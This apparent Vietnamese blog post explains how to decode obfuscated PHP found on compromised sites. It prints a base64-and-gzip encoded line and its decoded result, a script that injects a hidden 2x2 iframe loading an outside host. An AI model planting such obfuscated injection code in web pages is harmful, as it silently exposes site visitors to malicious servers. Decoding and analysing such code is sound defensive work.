06/08/2013

Trang giải nén các file shell PHP

Thỉnh thoảnh chúng ta gặp đoạn mã lệnh như sau:

echo(gzinflate(base64_decode("3Y5BDsIgFET3TXoH8jfVTYkuXGjBS3gBBArfUGjob6u3l9pbOKvJJG9mGPsPdZPOOBKjz2gFkH0Tf6lF7SnIujJJz4ON1K4ZyR6aDvusBsumrAV4ovHKOaW8qGAmrUIgr6jF2CeOsdUO76cLsFgIAY8ViWwGVtpTCBidADVTAvarfKZsbBYQS6ACuihAl+EN8BadJwFnYCsa8puTHd+vyOZ4q6uO75/lFw==")));


Chúng ta muốn biết đoạn mã đó là gì, có ý nghĩa gì thì chúng ta phải dịch nó ra như sau:

<script type="text/javascript">
document.write('<iframe src="http://torvaldscallthat.info/in.cgi?16" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>');
</script>

Để có đoạn mã trên thì chúng ta sử dụng trang web: 
http://ddecode.com

No comments:

Post a Comment